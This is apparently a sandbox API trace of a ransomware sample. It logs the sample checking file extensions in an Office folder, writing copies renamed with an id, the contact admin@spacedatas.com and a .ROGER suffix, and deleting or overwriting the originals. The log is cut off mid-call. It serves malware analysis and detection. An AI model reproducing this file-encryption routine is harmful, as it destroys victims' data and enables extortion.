[0058.662] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll")) returned 1 [0058.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0058.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0058.662] lstrlenW (lpString=".doc") returned 4 [0058.662] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0058.662] lstrlenW (lpString=".docx") returned 5 [0058.662] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0058.662] lstrlenW (lpString=".pdf") returned 4 [0058.662] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0058.662] lstrlenW (lpString=".xls") returned 4 [0058.662] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0058.662] lstrlenW (lpString=".xlsx") returned 5 [0058.662] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0058.662] lstrlenW (lpString=".ppt") returned 4 [0058.662] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0058.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0058.662] lstrlenW (lpString=".zip") returned 4 [0058.662] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0058.662] lstrlenW (lpString=".rar") returned 4 [0058.662] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0058.662] lstrlenW (lpString=".bz2") returned 4 [0058.662] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0058.662] lstrlenW (lpString=".7z") returned 3 [0058.662] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0058.662] lstrlenW (lpString=".dbf") returned 4 [0058.662] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0058.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0058.662] lstrlenW (lpString=".1cd") returned 4 [0058.663] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0058.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0058.663] lstrlenW (lpString=".jpg") returned 4 [0058.663] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0058.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0058.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0058.663] lstrlenW (lpString=".doc") returned 4 [0058.663] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0058.663] lstrlenW (lpString=".docx") returned 5 [0058.663] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0058.663] lstrlenW (lpString=".pdf") returned 4 [0058.663] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0058.663] lstrlenW (lpString=".xls") returned 4 [0058.663] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0058.663] lstrlenW (lpString=".xlsx") returned 5 [0058.663] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0058.663] lstrlenW (lpString=".ppt") returned 4 [0058.663] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0058.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0058.663] lstrlenW (lpString=".zip") returned 4 [0058.663] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0058.663] lstrlenW (lpString=".rar") returned 4 [0058.663] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0058.663] lstrlenW (lpString=".bz2") returned 4 [0058.663] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0058.663] lstrlenW (lpString=".7z") returned 3 [0058.663] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0058.663] lstrlenW (lpString=".dbf") returned 4 [0058.663] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0058.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0058.663] lstrlenW (lpString=".1cd") returned 4 [0058.663] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0058.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0058.663] lstrlenW (lpString=".jpg") returned 4 [0058.664] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0058.664] lstrcmpiW (lpString1=".DLL", lpString2=".ROGER") returned -1 [0058.664] lstrlenW (lpString="ACEODDBS.DLL") returned 12 [0058.664] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0058.664] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=15800) returned 1 [0058.664] CloseHandle (hObject=0x3d8) returned 1 [0058.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll")) returned 0x20 [0058.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0058.665] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0058.665] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.665] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.665] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0058.665] GetLastError () returned 0x0 [0058.665] ReadFile (in: hFile=0x3d8, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x3db8, lpOverlapped=0x0) returned 1 [0058.762] WriteFile (in: hFile=0x35c, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0x3dc0, lpOverlapped=0x0) returned 1 [0058.775] ReadFile (in: hFile=0x3d8, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.775] WriteFile (in: hFile=0x35c, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.775] SetEndOfFile (hFile=0x35c) returned 1 [0059.231] CloseHandle (hObject=0x35c) returned 1 [0059.231] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.231] SetEndOfFile (hFile=0x3d8) returned 1 [0059.634] CloseHandle (hObject=0x3d8) returned 1 [0059.634] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0059.635] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll")) returned 1 [0059.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0059.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0059.635] lstrlenW (lpString=".doc") returned 4 [0059.635] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0059.635] lstrlenW (lpString=".docx") returned 5 [0059.635] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0059.635] lstrlenW (lpString=".pdf") returned 4 [0059.635] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0059.635] lstrlenW (lpString=".xls") returned 4 [0059.635] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0059.635] lstrlenW (lpString=".xlsx") returned 5 [0059.635] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0059.635] lstrlenW (lpString=".ppt") returned 4 [0059.635] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0059.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0059.635] lstrlenW (lpString=".zip") returned 4 [0059.635] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0059.635] lstrlenW (lpString=".rar") returned 4 [0059.635] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0059.635] lstrlenW (lpString=".bz2") returned 4 [0059.635] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0059.635] lstrlenW (lpString=".7z") returned 3 [0059.635] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0059.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0059.635] lstrlenW (lpString=".dbf") returned 4 [0059.635] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0059.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0059.636] lstrlenW (lpString=".1cd") returned 4 [0059.636] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0059.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0059.636] lstrlenW (lpString=".jpg") returned 4 [0059.636] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0059.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0059.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0059.636] lstrlenW (lpString=".doc") returned 4 [0059.636] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0059.636] lstrlenW (lpString=".docx") returned 5 [0059.636] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0059.636] lstrlenW (lpString=".pdf") returned 4 [0059.636] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0059.636] lstrlenW (lpString=".xls") returned 4 [0059.636] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0059.636] lstrlenW (lpString=".xlsx") returned 5 [0059.636] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0059.636] lstrlenW (lpString=".ppt") returned 4 [0059.636] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0059.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0059.636] lstrlenW (lpString=".zip") returned 4 [0059.636] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0059.636] lstrlenW (lpString=".rar") returned 4 [0059.636] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0059.636] lstrlenW (lpString=".bz2") returned 4 [0059.636] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0059.636] lstrlenW (lpString=".7z") returned 3 [0059.636] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0059.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0059.636] lstrlenW (lpString=".dbf") returned 4 [0059.636] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0059.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0059.636] lstrlenW (lpString=".1cd") returned 4 [0059.636] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0059.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0059.637] lstrlenW (lpString=".jpg") returned 4 [0059.637] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0059.637] lstrcmpiW (lpString1=".DLL", lpString2=".ROGER") returned -1 [0059.637] lstrlenW (lpString="ACETXT.DLL") returned 10 [0059.637] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0059.637] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=297360) returned 1 [0059.637] CloseHandle (hObject=0x3d8) returned 1 [0059.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll")) returned 0x20 [0059.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0059.637] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0059.638] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.638] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.638] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0059.638] GetLastError () returned 0x0 [0059.638] ReadFile (in: hFile=0x3d8, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x48990, lpOverlapped=0x0) returned 1 [0059.645] WriteFile (in: hFile=0x3fc, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0x489a0, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0x489a0, lpOverlapped=0x0) returned 1 [0059.650] ReadFile (in: hFile=0x3d8, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.650] WriteFile (in: hFile=0x3fc, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0059.650] SetEndOfFile (hFile=0x3fc) returned 1 [0059.650] CloseHandle (hObject=0x3fc) returned 1 [0059.650] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.650] SetEndOfFile (hFile=0x3d8) returned 1 [0059.653] CloseHandle (hObject=0x3d8) returned 1 [0059.653] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0059.653] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll")) returned 1 [0059.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0059.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0059.653] lstrlenW (lpString=".doc") returned 4 [0059.654] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0059.654] lstrlenW (lpString=".docx") returned 5 [0059.654] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0059.654] lstrlenW (lpString=".pdf") returned 4 [0059.654] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0059.654] lstrlenW (lpString=".xls") returned 4 [0059.654] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0059.654] lstrlenW (lpString=".xlsx") returned 5 [0059.654] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0059.654] lstrlenW (lpString=".ppt") returned 4 [0059.654] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0059.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0059.654] lstrlenW (lpString=".zip") returned 4 [0059.654] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0059.654] lstrlenW (lpString=".rar") returned 4 [0059.654] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0059.654] lstrlenW (lpString=".bz2") returned 4 [0059.654] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0059.654] lstrlenW (lpString=".7z") returned 3 [0059.654] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0059.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0059.654] lstrlenW (lpString=".dbf") returned 4 [0059.654] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0059.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0059.654] lstrlenW (lpString=".1cd") returned 4 [0059.654] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0059.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0059.654] lstrlenW (lpString=".jpg") returned 4 [0059.654] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0059.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0059.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0059.654] lstrlenW (lpString=".doc") returned 4 [0059.654] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0059.654] lstrlenW (lpString=".docx") returned 5 [0059.654] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0059.655] lstrlenW (lpString=".pdf") returned 4 [0059.655] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0059.655] lstrlenW (lpString=".xls") returned 4 [0059.655] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0059.655] lstrlenW (lpString=".xlsx") returned 5 [0059.655] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0059.655] lstrlenW (lpString=".ppt") returned 4 [0059.655] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0059.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0059.655] lstrlenW (lpString=".zip") returned 4 [0059.655] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0059.655] lstrlenW (lpString=".rar") returned 4 [0059.655] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0059.655] lstrlenW (lpString=".bz2") returned 4 [0059.655] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0059.655] lstrlenW (lpString=".7z") returned 3 [0059.655] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0059.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0059.655] lstrlenW (lpString=".dbf") returned 4 [0059.655] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0059.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0059.655] lstrlenW (lpString=".1cd") returned 4 [0059.655] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0059.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0059.655] lstrlenW (lpString=".jpg") returned 4 [0059.655] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0059.655] lstrcmpiW (lpString1=".DLL", lpString2=".ROGER") returned -1 [0059.655] lstrlenW (lpString="ACEWDAT.DLL") returned 11 [0059.655] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0059.656] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=3050912) returned 1 [0059.656] CloseHandle (hObject=0x3d8) returned 1 [0059.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll")) returned 0x20 [0059.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0059.656] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0059.657] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0059.657] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fc6c | out: lpNewFilePointer=0x0) returned 1 [0059.657] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fc2c | out: lpNewFilePointer=0x0) returned 1 [0059.657] ReadFile (in: hFile=0x3d8, lpBuffer=0x4c90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x423fc38, lpOverlapped=0x0 | out: lpBuffer=0x4c90058*, lpNumberOfBytesRead=0x423fc38*=0x40000, lpOverlapped=0x0) returned 1 [0059.659] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xf848a, lpNewFilePointer=0x0, dwMoveMethod=0x423fc2c | out: lpNewFilePointer=0x0) returned 1 [0059.659] ReadFile (in: hFile=0x3d8, lpBuffer=0x4cd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x423fc38, lpOverlapped=0x0 | out: lpBuffer=0x4cd0058*, lpNumberOfBytesRead=0x423fc38*=0x40000, lpOverlapped=0x0) returned 1 [0059.665] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x423fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0059.665] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x2a8da0, lpNewFilePointer=0x0, dwMoveMethod=0x423fc2c | out: lpNewFilePointer=0x0) returned 1 [0059.665] ReadFile (in: hFile=0x3d8, lpBuffer=0x4d10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x423fc38, lpOverlapped=0x0 | out: lpBuffer=0x4d10058*, lpNumberOfBytesRead=0x423fc38*=0x40000, lpOverlapped=0x0) returned 1 [0059.694] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.694] WriteFile (in: hFile=0x3d8, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x423fcb0, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0059.720] SetEndOfFile (hFile=0x3d8) returned 1 [0059.721] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x5360048 [0059.724] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fc7c | out: lpNewFilePointer=0x0) returned 1 [0059.724] WriteFile (in: hFile=0x3d8, lpBuffer=0x5360048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x423fc88, lpOverlapped=0x0 | out: lpBuffer=0x5360048*, 